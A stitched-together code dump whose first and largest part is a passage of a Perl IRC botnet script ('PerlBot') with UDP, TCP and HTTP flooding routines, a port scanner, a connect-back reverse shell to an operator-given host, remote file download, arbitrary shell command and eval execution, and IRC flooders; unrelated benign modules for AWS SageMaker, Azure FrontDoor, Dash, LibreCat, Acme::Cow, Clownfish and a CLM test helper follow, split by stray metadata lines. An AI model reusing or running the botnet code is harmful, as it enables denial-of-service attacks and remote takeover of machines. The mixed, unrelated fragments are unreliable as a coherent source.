:4,1 [Help] 9,1!u 12!9,1op <channel> <nick> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1deop <channel> <nick> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1voice <channel> <nick> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1devoice <channel> <nick> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1nick <newnick> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1msg <nick> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1quit "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12!9,1die "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1============================= "); } if ($funcarg =~ /^utils/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1PerlBot Utils Help: "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <message> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip> "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example) "); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1================================================== "); } ######################### ##### [ Functions ] ##### ######################### if ($funcarg =~ /^die/) { sendraw($IRC_cur_socket, "QUIT :"); $killd = "kill -9 ".fork; system (`$killd`); } ########### if ($funcarg =~ /^join (.*)/) { sendraw($IRC_cur_socket, "JOIN ".$1); } if ($funcarg =~ /^part (.*)/) { sendraw($IRC_cur_socket, "PART ".$1); } ########### if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("1","7","9","14","20","21","22","23","25","53","80","88","110","112","113","137","143","145","222","333","405","443","444","445","512","587","616","666","993","995","1024","1025","1080","1144","1156","1222","1230","1337","1348","1628","1641","1720","1723","1763","1983","1984","1985","1987","1988","1990","1994","2005","2020","2121","2200","2222","2223","2345","2360","2500","2727","3130","3128","3137","3129","3303","3306","3333","3389","4000","4001","4471","4877","5252","5522","5553","5554","5642","5777","5800","5801","5900","5901","6062","6550","6522","6600","6622","6662","6665","6666","6667","6969","7000","7979","8008","8080","8081","8082","8181","8246","8443","8520","8787","8855","8880","8989","9855","9865","9997","9999","10000","10001","10010","10222","11170","11306","11444","12241","12312","14534","14568","15951","17272","19635","19906","19900","20000","21412","21443","21205","22022","30999","31336","31337","32768","33180","35651","36666","37998","41114","41215","44544","45055","45555","45678","51114","51247","51234","55066","55555","65114","65156","65120","65410","65500","65501","65523","65533"); my (@aberta, %porta_banner); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Scanning for open ports on 12".$1." 9,1started. "); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) { push (@aberta, $porta); $scansock->close; } } if (@aberta) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1Open ports found: 12@aberta "); } else { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PortScan] 9,1No open ports found. "); } } ############## if ($funcarg =~ /^download\s+(.*)\s+(.*)/) { getstore("$1", "$2"); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Download] 9,1Downloaded the file: 12$2 9,1from 12$1 "); } ############## if ($funcarg =~ /^dns\s+(.*)/){ my $nsku = $1; $mydns = inet_ntoa(inet_aton($nsku)); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [DNS] 9,1Resolved: 12$nsku 9,1to 12$mydns "); } ############## if ($funcarg=~ /^port\s+(.*?)\s+(.*)/ ) { my $hostip= "$1"; my $portsc= "$2"; my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 7); if ($scansock) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 12Accepted. "); } else { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [PORT] 9,1Connection to 12$hostip9,1:12$portsc 9,1is 4Refused. "); } } ############## if ($funcarg =~ /^udp1\s+(.*)\s+(\d+)\s+(\d+)/) { return unless $pacotes; socket(Tr0x, PF_INET, SOCK_DGRAM, 17); my $alvo=inet_aton("$1"); my $porta = "$2"; my $dtime = "$3"; my $pacote; my $pacotese; my $size = 0; my $fim = time + $dtime; my $pacota = 1; sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. "); while (($pacota == "1") && ($pacotes == "1")) { $pacota = 0 if ((time >= $fim) && ($dtime != "0")); $pacote = $size ? $size : int(rand(1024-64)+64) ; $porta = int(rand 65000) +1 if ($porta == "0"); #send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)); send(Tr0x, pack("a$pacote","Tr0x"), 0, pack_sockaddr_in($porta, $alvo)); } sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-1 DDOS] 9,1Attack for 12".$1." 9,1finished in 12".$dtime." 9,1seconds9,1. "); } ############## if ($funcarg =~ /^udp2\s+(.*)\s+(\d+)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Attacking 12".$1." 9,1with 12".$2." 9,1Kb Packets for 12".$3." 9,1seconds. "); my ($dtime, %pacotes) = udpflooder("$1", "$2", "$3"); $dtime = 1 if $dtime == 0; my %bytes; $bytes{igmp} = $2 * $pacotes{igmp}; $bytes{icmp} = $2 * $pacotes{icmp}; $bytes{o} = $2 * $pacotes{o}; $bytes{udp} = $2 * $pacotes{udp}; $bytes{tcp} = $2 * $pacotes{tcp}; sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-2 DDOS] 9,1Results 12".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. "); } ############## if ($funcarg =~ /^udp3\s+(.*)\s+(\d+)\s+(\d+)/) { return unless $pacotes; socket(Tr0x, PF_INET, SOCK_DGRAM, 17); my $alvo=inet_aton("$1"); my $porta = "$2"; my $dtime = "$3"; my $pacote; my $pacotese; my $fim = time + $dtime; my $pacota = 1; sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Attacking 12".$1." 9,1On Port 12".$porta." 9,1for 12".$dtime." 9,1seconds. "); while (($pacota == "1") && ($pacotes == "1")) { $pacota = 0 if ((time >= $fim) && ($dtime != "0")); $pacote= $rand x $rand x $rand; $porta = int(rand 65000) +1 if ($porta == "0"); send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1"); } sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [UDP-3 DDOS] 9,1Results 12".$pacotese." 9,1Kb in 12".$dtime." 9,1seconds to 12".$1."9,1. "); } ############## ############## if ($funcarg =~ /^tcp\s+(.*)\s+(\d+)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attacking 12".$1.":".$2." 9,1for 12".$3." 9,1seconds. "); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($3>$cur_time){ $cur_time = time - $itime; &tcpflooder("$1","$2","$3"); } sendraw($IRC_cur_socket,"PRIVMSG $printl :4,1 [TCP DDOS] 9,1Attack ended on: 12".$1.":".$2."9,1. "); } ############## if ($funcarg =~ /^http\s+(.*)\s+(\d+)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[HTTP DDOS] 9,1Attacking 12".$1." 9,1on port 80 for 12".$2." 9,1seconds. "); my $itime = time; my ($cur_time); $cur_time = time - $itime; while ($2>$cur_time){ $cur_time = time - $itime; my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$1, PeerPort=>80); print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; close($socket); } sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [HTTP DDOS] 9,1Attacking ended on: 12".$1."9,1. "); } ############## if ($funcarg =~ /^cback\s+(.*)\s+(\d+)/) { my $host = "$1"; my $port = "$2"; my $proto = getprotobyname('tcp'); my $iaddr = inet_aton($host); my $paddr = sockaddr_in($port, $iaddr); my $shell = "/bin/sh -i"; if ($^O eq "MSWin32") { $shell = "cmd.exe"; } sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [ConnectBack] 9,1Connecting to 12$host:$port "); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!"; connect(SOCKET, $paddr) or die "connect: $!"; open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system("$shell"); close(STDIN); close(STDOUT); close(STDERR); } ############## if ($funcarg =~ /^mail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) { sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Sending email to: 12$3 "); $subject = $1; $sender = $2; $recipient = $3; @corpo = $4; $mailtype = "content-type: text/html"; $sendmail = '/usr/sbin/sendmail'; open (SENDMAIL, "| $sendmail -t"); print SENDMAIL "$mailtype\n"; print SENDMAIL "Subject: $subject\n"; print SENDMAIL "From: $sender\n"; print SENDMAIL "To: $recipient\n\n"; print SENDMAIL "@corpo\n\n"; close (SENDMAIL); sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Mailer] 9,1Email Sended to: 12$recipient "); } exit; } } ############## if ($funcarg =~ /^ctcpflood (.*)/) { my $target = "$1"; sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1CTCP Flooding: 12".$target." "); for (1..10) { sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001VERSION\001\n"); sendraw($IRC_cur_socket, "PRIVMSG ".$target." :\001PING\001\n"); } } ############## if ($funcarg =~ /^msgflood (.*)/) { my $target = "$1"; sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1MSG Flooding: 12".$target." "); sendraw($IRC_cur_socket, "PRIVMSG ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8..."); } ############## if ($funcarg =~ /^noticeflood (.*)/) { my $target = "$1"; sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [IRCFlood] 9,1NOTICE Flooding: 12".$target." "); for (1..2){ sendraw($IRC_cur_socket, "NOTICE ".$target." :0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8...8,7...9,6....0,15...1,16...2,13...3,12...4,11...5,10...6,9...7,8..."); } } ############## ############## sub ircase { my ($kem, $printl, $case) = @_; if ($case =~ /^join (.*)/) { j("$1"); } elsif ($case =~ /^part (.*)/) { p("$1"); } elsif ($case =~ /^rejoin\s+(.*)/) { my $chan = $1; if ($chan =~ /^(\d+) (.*)/) { for (my $ca = 1; $ca <= $1; $ca++ ) { p("$2"); j("$2"); } } else { p("$chan"); j("$chan"); } } elsif ($case =~ /^op/) { op("$printl", "$kem") if $case eq "op"; my $oarg = substr($case, 3); op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } elsif ($case =~ /^deop/) { deop("$printl", "$kem") if $case eq "deop"; my $oarg = substr($case, 5); deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } elsif ($case =~ /^voice/) { voice("$printl", "$kem") if $case eq "voice"; $oarg = substr($case, 6); voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } elsif ($case =~ /^devoice/) { devoice("$printl", "$kem") if $case eq "devoice"; $oarg = substr($case, 8); devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/); } elsif ($case =~ /^msg\s+(\S+) (.*)/) { msg("$1", "$2"); } elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { msg("$2", "$3"); } } elsif ($case =~ /^ctcp\s+(\S+) (.*)/) { ctcp("$1", "$2"); } elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) { for (my $cf = 1; $cf <= $1; $cf++) { ctcp("$2", "$3"); } } elsif ($case =~ /^invite\s+(\S+) (.*)/) { invite("$1", "$2"); } elsif ($case =~ /^newerver\s+(\S+)\s+(\S+)/) { conectar("$2", "$1", "6667"); } elsif ($case =~ /^nick (.*)/) { nick("$1"); } elsif ($case =~ /^raw (.*)/) { sendraw("$1"); } elsif ($case =~ /^eval (.*)/) { eval "$1"; } elsif ($case =~ /^join\s+(\S+)\s+(\d+)/) { sleep int(rand($2)); j("$1"); } elsif ($case =~ /^part\s+(\S+)\s+(\d+)/) { sleep int(rand($2)); p("$1"); } elsif ($case =~ /^quit/) { quit(); } } ############## sub shell { my $printl=$_[0]; my $comando=$_[1]; if ($comando =~ /cd (.*)/) { chdir("$1") || msg("$printl", "No such file or directory"); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @resp=`$comando 2>&1 3>&1`; my $c=0; foreach my $linha (@resp) { $c++; chop $linha; sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha"); if ($c == "$linas_max") { $c=0; sleep $sleep; } } exit; } } } ############## sub udpflooder { my $iaddr = inet_aton($_[0]); my $msg = 'A' x $_[1]; my $ftime = $_[2]; my $cp = 0; my (%pacotes); $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0; socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++; socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++; socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; return(undef) if $cp == 4; my $itime = time; my ($cur_time); while ( 1 ) { for (my $port = 1; $port <= 65000; $port++) { $cur_time = time - $itime; last if $cur_time >= $ftime; send(SOCK1, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{igmp}++; send(SOCK2, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{udp}++; send(SOCK3, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{icmp}++; send(SOCK4, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{tcp}++; for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($port, $iaddr)) and $pacotes{o}++; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); } ############## sub tcpflooder { my $itime = time; my ($cur_time); my ($ia,$pa,$proto,$j,$l,$t); $ia=inet_aton($_[0]); $pa=sockaddr_in($_[1],$ia); $ftime=$_[2]; $proto=getprotobyname('tcp'); $j=0;$l=0; $cur_time = time - $itime; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; socket($t,PF_INET,SOCK_STREAM,$proto); connect($t,$pa)||$j--; $j++;$l++; } $l=0; while ($l<1000){ $cur_time = time - $itime; last if $cur_time >= $ftime; $t="SOCK$l"; shutdown($t,2); $l++; } } ############## sub msg { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :$_[1]"); } sub ctcp { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001$_[1]\001"); } sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); } sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]"); } sub voice { return unless $#_ == 1; sendraw("MODE $_[0] +v $_[1]"); } sub devoice { return unless $#_ == 1; sendraw("MODE $_[0] -v $_[1]"); } sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("JOIN $_[0]"); } sub p { part(@_); } sub part {sendraw("PART $_[0]");} sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); } sub quit { sendraw("QUIT :$_[0]"); exit; } sub modo { return unless $#_ == 0; sendraw("MODE $_[0] $_[1]"); } sub mode { modo(@_); } sub invite { return unless $#_ == 1; sendraw("INVITE $_[1] $_[0]"); } sub topico { return unless $#_ == 1; sendraw("TOPIC $_[0] $_[1]"); } sub topic { topico(@_); } sub away { sendraw("AWAY $_[0]"); } sub back { away(); } } ################### ##### [ EOF ] ##### ###################
41.773746
1,131
0.49719
73d4abec0eb56f366c9017fd8bc41f1cded62ba5
2,435
pm
Perl
auto-lib/Paws/SageMaker/DescribeHumanTaskUi.pm
0leksii/aws-sdk-perl
b2132fe3c79a06fd15b6137e8a0eb628de722e0f
[ "Apache-2.0" ]
164
2015-01-08T14:58:53.000Z
2022-02-20T19:16:24.000Z
auto-lib/Paws/SageMaker/DescribeHumanTaskUi.pm
0leksii/aws-sdk-perl
b2132fe3c79a06fd15b6137e8a0eb628de722e0f
[ "Apache-2.0" ]
348
2015-01-07T22:08:38.000Z
2022-01-27T14:34:44.000Z
auto-lib/Paws/SageMaker/DescribeHumanTaskUi.pm
0leksii/aws-sdk-perl
b2132fe3c79a06fd15b6137e8a0eb628de722e0f
[ "Apache-2.0" ]
87
2015-04-22T06:29:47.000Z
2021-09-29T14:45:55.000Z
package Paws::SageMaker::DescribeHumanTaskUi; use Moose; has HumanTaskUiName => (is => 'ro', isa => 'Str', required => 1); use MooseX::ClassAttribute; class_has _api_call => (isa => 'Str', is => 'ro', default => 'DescribeHumanTaskUi'); class_has _returns => (isa => 'Str', is => 'ro', default => 'Paws::SageMaker::DescribeHumanTaskUiResponse'); class_has _result_key => (isa => 'Str', is => 'ro'); 1; ### main pod documentation begin ### =head1 NAME Paws::SageMaker::DescribeHumanTaskUi - Arguments for method DescribeHumanTaskUi on L<Paws::SageMaker> =head1 DESCRIPTION This class represents the parameters used for calling the method DescribeHumanTaskUi on the L<Amazon SageMaker Service|Paws::SageMaker> service. Use the attributes of this class as arguments to method DescribeHumanTaskUi. You shouldn't make instances of this class. Each attribute should be used as a named argument in the call to DescribeHumanTaskUi. =head1 SYNOPSIS my $api.sagemaker = Paws->service('SageMaker'); my $DescribeHumanTaskUiResponse = $api . sagemaker->DescribeHumanTaskUi( HumanTaskUiName => 'MyHumanTaskUiName', ); # Results: my $CreationTime = $DescribeHumanTaskUiResponse->CreationTime; my $HumanTaskUiArn = $DescribeHumanTaskUiResponse->HumanTaskUiArn; my $HumanTaskUiName = $DescribeHumanTaskUiResponse->HumanTaskUiName; my $HumanTaskUiStatus = $DescribeHumanTaskUiResponse->HumanTaskUiStatus; my $UiTemplate = $DescribeHumanTaskUiResponse->UiTemplate; # Returns a L<Paws::SageMaker::DescribeHumanTaskUiResponse> object. Values for attributes that are native types (Int, String, Float, etc) can passed as-is (scalar values). Values for complex Types (objects) can be passed as a HashRef. The keys and values of the hashref will be used to instance the underlying object. For the AWS API documentation, see L<https://docs.aws.amazon.com/goto/WebAPI/api.sagemaker/DescribeHumanTaskUi> =head1 ATTRIBUTES =head2 B<REQUIRED> HumanTaskUiName => Str The name of the human task user interface (worker task template) you want information about. =head1 SEE ALSO This class forms part of L<Paws>, documenting arguments for method DescribeHumanTaskUi in L<Paws::SageMaker> =head1 BUGS and CONTRIBUTIONS The source code is located here: L<https://github.com/pplu/aws-sdk-perl> Please report bugs to: L<https://github.com/pplu/aws-sdk-perl/issues> =cut
34.785714
249
0.747844
ed1a9b24453eb31307b5e4223083c21de014b656
890
pm
Perl
lib/Clownfish/CFC/Util.pm
gitpan/Clownfish-CFC
adae3d263936156ebacaf6d58baa913ad3926fd4
[ "Apache-2.0" ]
null
null
null
lib/Clownfish/CFC/Util.pm
gitpan/Clownfish-CFC
adae3d263936156ebacaf6d58baa913ad3926fd4
[ "Apache-2.0" ]
null
null
null
lib/Clownfish/CFC/Util.pm
gitpan/Clownfish-CFC
adae3d263936156ebacaf6d58baa913ad3926fd4
[ "Apache-2.0" ]
1
2021-06-19T12:14:10.000Z
2021-06-19T12:14:10.000Z
# Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not use this file except in compliance with # the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. package Clownfish::CFC::Util; use Clownfish::CFC; our $VERSION = '0.004002'; $VERSION = eval $VERSION; 1;
38.695652
74
0.765169
ed5b8d66e3dd69165bcd4c1421314fe851715f9f
1,172
pm
Perl
auto-lib/Azure/FrontDoor/ListByFrontDoorRoutingRules.pm
pplu/azure-sdk-perl
26cbef2d926f571bc1617c26338c106856f95568
[ "Apache-2.0" ]
null
null
null
auto-lib/Azure/FrontDoor/ListByFrontDoorRoutingRules.pm
pplu/azure-sdk-perl
26cbef2d926f571bc1617c26338c106856f95568
[ "Apache-2.0" ]
null
null
null
auto-lib/Azure/FrontDoor/ListByFrontDoorRoutingRules.pm
pplu/azure-sdk-perl
26cbef2d926f571bc1617c26338c106856f95568
[ "Apache-2.0" ]
1
2021-04-08T15:26:39.000Z
2021-04-08T15:26:39.000Z
package Azure::FrontDoor::ListByFrontDoorRoutingRules; use Moose; use MooseX::ClassAttribute; has 'api_version' => (is => 'ro', required => 1, isa => 'Str', default => '2018-08-01', traits => [ 'Azure::ParamInQuery', 'Azure::LocationInResponse' ], location => 'api-version', ); has 'frontDoorName' => (is => 'ro', required => 1, isa => 'Str', traits => [ 'Azure::ParamInPath' ], ); has 'resourceGroupName' => (is => 'ro', required => 1, isa => 'Str', traits => [ 'Azure::ParamInPath' ], ); has 'subscriptionId' => (is => 'ro', required => 1, isa => 'Str', traits => [ 'Azure::ParamInPath' ], ); class_has _api_uri => (is => 'ro', default => '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/frontDoors/{frontDoorName}/routingRules'); class_has _returns => (is => 'ro', isa => 'HashRef', default => sub { { 200 => 'Azure::FrontDoor::ListByFrontDoorRoutingRulesResult', default => 'Azure::FrontDoor::ListByFrontDoorRoutingRulesResult', } }); class_has _is_async => (is => 'ro', default => 0); class_has _api_method => (is => 'ro', default => 'GET'); 1;
40.413793
186
0.616894
73edf9591d98fae3a0149a1c9f77dece24900b77
546
pm
Perl
lib/Dash/Core/Components/Interval.pm
weatherwax/perl-Dash
60783830ae3990c0b839c71d96b72144325e30f8
[ "MIT" ]
4
2019-12-31T05:08:42.000Z
2020-07-19T04:41:06.000Z
lib/Dash/Core/Components/Interval.pm
weatherwax/perl-Dash
60783830ae3990c0b839c71d96b72144325e30f8
[ "MIT" ]
1
2021-03-07T09:17:10.000Z
2021-03-07T09:51:33.000Z
lib/Dash/Core/Components/Interval.pm
weatherwax/perl-Dash
60783830ae3990c0b839c71d96b72144325e30f8
[ "MIT" ]
2
2020-04-22T08:17:55.000Z
2021-01-02T15:46:50.000Z
# AUTO GENERATED FILE - DO NOT EDIT package Dash::Core::Components::Interval; use Moo; use strictures 2; use Dash::Core::ComponentsAssets; use namespace::clean; extends 'Dash::BaseComponent'; has 'id' => ( is => 'rw' ); has 'interval' => ( is => 'rw' ); has 'disabled' => ( is => 'rw' ); has 'n_intervals' => ( is => 'rw' ); has 'max_intervals' => ( is => 'rw' ); my $dash_namespace = 'dash_core_components'; sub DashNamespace { return $dash_namespace; } sub _js_dist { return Dash::Core::ComponentsAssets::_js_dist; } 1;
14.756757
50
0.6337
ed3ffe7fcbcd915765148b865baded4905e3b251
940
pm
Perl
lib/LibreCat/FetchRecord/crossref.pm
feldi-online/LibreCat
8704297793ca545d7cae185a9a36201d5e1ce182
[ "Artistic-1.0" ]
null
null
null
lib/LibreCat/FetchRecord/crossref.pm
feldi-online/LibreCat
8704297793ca545d7cae185a9a36201d5e1ce182
[ "Artistic-1.0" ]
null
null
null
lib/LibreCat/FetchRecord/crossref.pm
feldi-online/LibreCat
8704297793ca545d7cae185a9a36201d5e1ce182
[ "Artistic-1.0" ]
null
null
null
package LibreCat::FetchRecord::crossref; use Catmandu::Util qw(:io :hash); use URL::Encode qw(url_decode); use Moo; with 'LibreCat::FetchRecord'; sub fetch { my ($self, $id) = @_; # Clean up data $id =~ s{^\D+[:\/]}{}; $self->log->debug("requesting $id from crossref"); my $data = Catmandu->importer('getJSON', from => url_decode("http://api.crossref.org/works/$id"),)->to_array; unless (@$data) { $self->log->error( "failed to request http://api.crossref.org/works/$id"); return (); } my $fixer = $self->create_fixer('crossref_mapping.fix'); $data = $fixer->fix($data); return $data; } 1; __END__ =pod =head1 NAME LibreCat::FetchRecord::crossref - Create a LibreCat publication based on a DOI =head1 SYNOPSIS use LibreCat::FetchRecord::crossref; my $pub = LibreCat::FetchRecord::crossref->new->fetch('doi:10.1002/0470841559.ch1'); =cut
18.8
88
0.619149
ed3b0e23ed8cadf853ad073a3de89578494011db
636
t
Perl
t/file.t
lizmat/Acme-Cow6
7db2260cd34193184394ad955f1a31007196d39f
[ "Artistic-2.0" ]
1
2022-01-30T15:29:58.000Z
2022-01-30T15:29:58.000Z
t/file.t
lizmat/Acme-Cow6
7db2260cd34193184394ad955f1a31007196d39f
[ "Artistic-2.0" ]
1
2019-12-25T15:46:44.000Z
2019-12-25T15:46:44.000Z
t/file.t
lizmat/Acme-Cow6
7db2260cd34193184394ad955f1a31007196d39f
[ "Artistic-2.0" ]
null
null
null
use v6.d; use Test; use Acme::Cow:auth<cpan:ELIZABETH>:api<perl6>; plan 1; is Acme::Cow.new("t/eyes.cow".IO).say("Bwahaha!"), Q:to/EOC/, "does it take IO::Path"; __________ < Bwahaha! > ---------- \ \ .::!!!!!!!:. .!!!!!:. .:!!!!!!!!!!!! ~~~~!!!!!!. .:!!!!!!!!!UWWW$$$ :$$NWX!!: .:!!!!!!XUWW$$$$$$$$$P $$$$$##WX!: .<!!!!UW$$$$" $$$$$$$$# $$$$$ $$$UX :!!UW$$$$$$$$$ 4$$$$$* ^$$$B $$$$ $$$$$$$$$$$$ d$$R" "*$bd$$$$ '*$$$$$$$$$$$o+#" """" """"""" EOC
25.44
50
0.242138
ed4485986e10370073fbb9bfae84754ba3853fb7
19,246
pm
Perl
components/elm/bld/unit_testers/xFail/expectedFail.pm
xuw015/E3SMv2_NewZM
c0b0c779bbf6728153765e02a37d6057f6a73cd8
[ "zlib-acknowledgement", "RSA-MD", "FTL" ]
5
2019-03-12T01:58:26.000Z
2020-12-16T03:08:25.000Z
components/elm/bld/unit_testers/xFail/expectedFail.pm
xuw015/E3SMv2_NewZM
c0b0c779bbf6728153765e02a37d6057f6a73cd8
[ "zlib-acknowledgement", "RSA-MD", "FTL" ]
16
2019-09-27T02:16:37.000Z
2020-08-01T17:51:12.000Z
components/clm/bld/unit_testers/xFail/expectedFail.pm
mt5555/E3SM
6b0e055f256c9db4220ca985bfd3a17238d4ed1e
[ "zlib-acknowledgement", "RSA-MD", "FTL" ]
13
2016-03-08T21:04:52.000Z
2021-05-16T03:29:35.000Z
=head1 expectedFail.pm Documentation for expectedFail.pm =head1 Overview The module expectedFail.pm supplies the capability of checking if a failed test is expected to fail. It is called directly from either test_driver.sh (for batch and interactive tests) or build-namelist_test.pl. Future plans involve integrating this module into cesm tests. =head1 Use Case This is a new feature being added to the existing CLM test infrastructure. The use case would roughly be along the lines of: 1) Run the test suite (CLM batch,interactive or namelist) 2) Search for test failures a) Fix failed tests b) -or- Add new xFail entries to XML file if a test is supposed to fail (eg. due to some missing resolution). 3) Check for new tests that now pass. This is for modifying the ChangeLog. 4) Update XML file by either adding new entries or removing old ones. 5) update the ChangeLog to reflect important changes in test behavior (Tests that now pass that failed before, tests that are now xFail, etc... =head2 Public methods There are two public methods needed. The "new" ctor and one of the parseOutput* methods. Everything else is private. xFail::expectedFail->new parseOutput parseOutputCLM =head2 Private methods sub _searchExpectedFail sub _readXml sub _testNowPassing sub _printOutput sub _getTestType sub _getMachInfo =cut package xFail::expectedFail; our $VERSION = '1.00'; use Cwd; use strict; use Getopt::Long; use English; use Scalar::Util qw(looks_like_number); my @testList={}; my $DEBUG=0; my $pass=" PASS"; my $fail=" FAIL"; my $xfail="xFAIL"; ############################################################################## # 